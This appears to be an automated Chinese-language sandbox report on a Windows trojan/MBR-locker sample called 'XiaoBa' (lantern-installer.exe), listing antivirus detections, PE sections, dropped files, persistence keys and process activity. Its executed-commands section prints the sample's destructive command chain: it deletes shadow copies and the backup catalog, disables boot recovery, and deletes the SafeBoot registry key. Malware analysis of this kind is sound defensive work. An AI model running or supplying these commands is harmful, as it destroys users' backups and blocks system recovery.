从文件自身的二进制镜像中读取数据
self_read: process: wscript.exe, pid: 2052, offset: 0x00000000, length: 0x00000040
self_read: process: wscript.exe, pid: 2052, offset: 0x000000f0, length: 0x00000018
self_read: process: wscript.exe, pid: 2052, offset: 0x000001e8, length: 0x00000078
self_read: process: wscript.exe, pid: 2052, offset: 0x00018000, length: 0x00000020
self_read: process: wscript.exe, pid: 2052, offset: 0x00018058, length: 0x00000018
self_read: process: wscript.exe, pid: 2052, offset: 0x000181a8, length: 0x00000018
self_read: process: wscript.exe, pid: 2052, offset: 0x00018470, length: 0x00000010
self_read: process: wscript.exe, pid: 2052, offset: 0x00018640, length: 0x00000012
创建一个隐藏文件或系统文件
file: C:\Users\test\AppData\Local\Temp\lantern-installer.exe
file: C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs
二进制文件可能包含加密或压缩数据
section: name: UPX1, entropy: 7.62, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00428000, virtual_size: 0x00428000
可执行文件被使用UPX压缩
section: name: UPX0, entropy: 0.00, characteristics: IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x000c9000
通过进程尝试长时间延迟分析任务
Process: WMIC.exe tried to sleep 60 seconds, actually delayed analysis time by 0 seconds
Process: wscript.exe tried to sleep 720 seconds, actually delayed analysis time by 0 seconds
修改启动配置
disables_system_recovery: Modifies the boot configuration to disable startup recovery
ignorefailures: Modifies the boot configuration to disable Windows error recovery
将自己装载到Windows开机自动启动项目
key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\XiaoBa
data: C:\Users\test\AppData\Local\Temp\lantern-installer.exe
key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger
data: C:\Users\test\AppData\Local\Temp\lantern-installer.exe
file: C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiaoBa.lnk
尝试禁止UAC
通过删除注册表键尝试屏蔽SafeBoot
文件已被至少十个VirusTotal上的反病毒引擎检测为病毒
MicroWorld-eScan: Gen:Variant.Graftor.443015
Cylance: Unsafe
Arcabit: Trojan.Graftor.D6C287
Baidu: Win32.Trojan.WisdomEyes.16070401.9500.9762
ESET-NOD32: a variant of Win32/MBRlock.AX
ClamAV: Win.Trojan.Generic-6260335-1
BitDefender: Gen:Variant.Graftor.443015
Ad-Aware: Gen:Variant.Graftor.443015
Emsisoft: Gen:Variant.Graftor.443015 (B)
Comodo: TrojWare.Win32.Agent.OSCF
F-Secure: Gen:Variant.Graftor.443015
Invincea: heuristic
McAfee-GW-Edition: BehavesLike.Win32.Generic.rc
Endgame: malicious (moderate confidence)
GData: Win32.Trojan.FlyStudio.F
AhnLab-V3: Malware/Win32.Generic.C2115913
ALYac: Gen:Variant.Graftor.443015
MAX: malware (ai score=80)
eGambit: Unsafe.AI_Score_95%
Cybereason: malicious.1b8fb7
CrowdStrike: malicious_confidence_100% (D)
静态分析
PE数据组成
名称 |
虚拟地址 |
虚拟大小 |
原始数据大小 |
特征 |
熵(Entropy) |
UPX0 |
0x00001000 |
0x000c9000 |
0x00000000 |
IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE |
0.00 |
UPX1 |
0x000ca000 |
0x00428000 |
0x00428000 |
IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE |
7.62 |
.rsrc |
0x004f2000 |
0x00062000 |
0x00061200 |
IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE |
4.76 |
导入
库 ADVAPI32.dll:
• 0x952fa4 - RegOpenKeyA
库 AVIFIL32.dll:
• 0x952fac - AVIStreamInfoA
库 COMCTL32.dll:
• 0x952fb4 - None
库 comdlg32.dll:
• 0x952fbc - ChooseColorA
库 GDI32.dll:
• 0x952fc4 - PatBlt
库 KERNEL32.DLL:
• 0x952fcc - LoadLibraryA
• 0x952fd0 - ExitProcess
• 0x952fd4 - GetProcAddress
• 0x952fd8 - VirtualProtect
库 MSVFW32.dll:
• 0x952fe0 - DrawDibDraw
库 ole32.dll:
• 0x952fe8 - OleInitialize
库 OLEAUT32.dll:
• 0x952ff0 - LoadTypeLib
库 SHELL32.dll:
• 0x952ff8 - ShellExecuteA
库 USER32.dll:
• 0x953000 - GetDC
库 WINMM.dll:
• 0x953008 - PlaySoundA
库 WINSPOOL.DRV:
• 0x953010 - OpenPrinterA
库 WS2_32.dll:
• 0x953018 - inet_ntoa
投放文件
XiaoBa.lnk
文件名 |
XiaoBa.lnk |
相关文件 |
- C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiaoBa.lnk
|
文件大小 |
976 bytes |
文件类型 |
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Dec 6 07:01:32 2017, mtime=Wed Dec 6 07:01:32 2017, atime=Wed Dec 6 07:01:32 2017, length=4756992, window=hide |
MD5 |
f12e654751e8022ecf9715789dc8df74 |
SHA1 |
5a7e34ad877c996bbdef6075c54d153162931c8e |
SHA256 |
f311b31e54263619bab9adc79b96f5c5f9d1de78e3cde54cf0b7912a4abc887d |
SHA512 |
3bd2cc9133addfd1aafc2f73c356139e2159c54b3c8521b25f5b2f05c18462d19534a291c1bd922e3588353c9f366d09d413868297ff3bf2e489a0d402bd1e07 |
Ssdeep |
12:8yWCsk64c0CrXJWESR+/15KTPwA+tl4QtHM2mAjAo210tKXo1CM2Fawua4t2YZq/:89PkHxEXYRHEfZtHMUAF10uoUW6qhIp |
VirusTotal |
搜索相关分析 |
XiaoBa.mp3
文件名 |
XiaoBa.mp3 |
相关文件 |
- C:\Users\test\AppData\Local\Temp\XiaoBa.mp3
|
文件大小 |
3341477 bytes |
文件类型 |
Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo |
MD5 |
45b365668db56fe92d1d93b710874b11 |
SHA1 |
fc57e06f53a646a499a9483815862eb43f52a7a1 |
SHA256 |
7bd9bb0aadcdd82d139a4f287fb66716df039dd5f3da6aeb94ce56e67f9abcd1 |
SHA512 |
b4231bc3a1eec624a762d2df0c0a3b2cd9750008a13e250be546a57ce1f41f4a10693b40ff1d0383b3611d8c13962488a4ca4fcbb736a7be7a2d82a0590793c6 |
Ssdeep |
49152:6D4a/KphSK6QUO4V2iH5hQ6jGTuSIu2mIW5ux2E6qipSSevxvhatkC2GG5O:68PhXO2Wz6TvIYIW06qi4tv3C2Gi |
VirusTotal |
搜索相关分析 |
AutoRunApp.vbs
文件名 |
AutoRunApp.vbs |
相关文件 |
- C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs
|
文件大小 |
659 bytes |
文件类型 |
ISO-8859 text, with CRLF line terminators |
MD5 |
1904b2158f92a4b47743e3503cc8fab3 |
SHA1 |
619d3e2ac439adf66e1ce0b2ac9953561c4a52c6 |
SHA256 |
abafc17e90cbf65d8b16ae82fb0ddba3cff26d875121b4580c159d683bfada8c |
SHA512 |
49a495f3eae2d098fcd7123de041515e34cfa712a95f2445a572034e3ee4b364f92778423531863aa580ec1975ff4e43b40e950a4f6a9fd70141629f07158872 |
Ssdeep |
12:UUhMees4c6XoZ5HhcVKxMFDu9t8aVvCqRSUz3uEt+tqR7wbfK:UkqmHhc+rLCqZuEgYofK |
Yara |
- without_attachments (Rule to detect the no presence of any attachment)
- without_images (Rule to detect the no presence of any image)
- without_urls (Rule to detect the no presence of any url)
|
VirusTotal |
搜索相关分析 |
行为分析
互斥量(Mutexes)
- Local\MSCTF.Asm.MutexDefault1
- Local\ZoneAttributeCacheCounterMutex
- Local\ZonesCacheCounterMutex
- Local\ZonesLockedCacheCounterMutex
执行的命令
- "C:\Windows\System32\WScript.exe" "C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs"
- C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs
- cmd /c vssadmin delete shadow /all /quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
- REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\ /va /f
- vssadmin delete shadow /all /quiet
- C:\Windows\System32\Wbem\WMIC.exe wmic shadowcopy delete
创建的服务
无信息
启动的服务
无信息
进程
lantern-installer.exe PID: 112, 上一级进程 PID: 1152
cmd.exe PID: 2080, 上一级进程 PID: 112
wscript.exe PID: 2052, 上一级进程 PID: 112
reg.exe PID: 2148, 上一级进程 PID: 112
vssadmin.exe PID: 2204, 上一级进程 PID: 2080
WMIC.exe PID: 2388, 上一级进程 PID: 2080
读取的文件
- C:\Windows\Globalization\Sorting\sortdefault.nls
- C:\Windows\Fonts\staticcache.dat
- C:\Windows\SysWOW64\shell32.dll
- C:\
- C:\Users\test\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
- C:\Users\test\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000036.db
- C:\Users\desktop.ini
- C:\Users
- C:\Users\test
- C:\Users\test\AppData
- C:\Users\test\AppData\Local
- C:\Users\test\AppData\Local\Temp
- C:\Users\test\Desktop\desktop.ini
- C:\Users\test\Searches\desktop.ini
- C:\Users\test\Videos\desktop.ini
- C:\Users\test\Pictures\desktop.ini
- C:\Users\test\Contacts\desktop.ini
- C:\Users\test\Favorites\desktop.ini
- C:\Users\test\Music\desktop.ini
- C:\Users\test\Downloads\desktop.ini
- C:\Users\test\Documents\desktop.ini
- C:\Users\test\Links\desktop.ini
- C:\Users\test\Saved Games\desktop.ini
- C:\Windows\System32\shdocvw.dll
- C:\Windows\AppPatch\sysmain.sdb
- C:\Windows\System32\
- \??\PIPE\srvsvc
- C:\Users\test\AppData\Local\Temp\lantern-installer.exe
- C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiaoBa.lnk
- \??\PhysicalDrive0
- C:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL
- C:\Program Files (x86)\Microsoft Office\Office14\
- C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs
- C:\Windows\System32\wscript.exe
- C:\Users\test\AppData\Local\Temp\XiaoBa.mp3
- \Device\KsecDD
- C:\Windows\SysWOW64\wscript.exe
- C:\Windows\System32\wbem\wbemdisp.tlb
- C:\Windows\SysWOW64\stdole2.tlb
- C:\Windows\SysWOW64\zh-CN\KERNELBASE.dll.mui
- C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
- C:\Windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
- C:\Windows\System32\wbem\XSL-Mappings.xml
- C:\Windows\System32\wbem\zh-CN\wmiutils.dll.mui
- C:\Windows\System32\wbem\zh-Hans\wmiutils.dll.mui
- C:\Windows\System32\wbem\zh\wmiutils.dll.mui
- C:\Windows\System32\wbem\en-US\wmiutils.dll.mui
修改的文件
- \??\PIPE\srvsvc
- C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiaoBa.lnk
- \??\PhysicalDrive0
- C:\Users\test\AppData\Local\Temp\AutoRunApp.vbs
- C:\Users\test\AppData\Local\Temp\XiaoBa.mp3
删除的文件
无信息
修改的注册表键
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\XiaoBa
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids\VBSFile
- HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4A\AAF68885\LanguageList
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger
删除的注册表键
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass
- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName
- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\(Default)
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\(Default)
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\(Default)
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell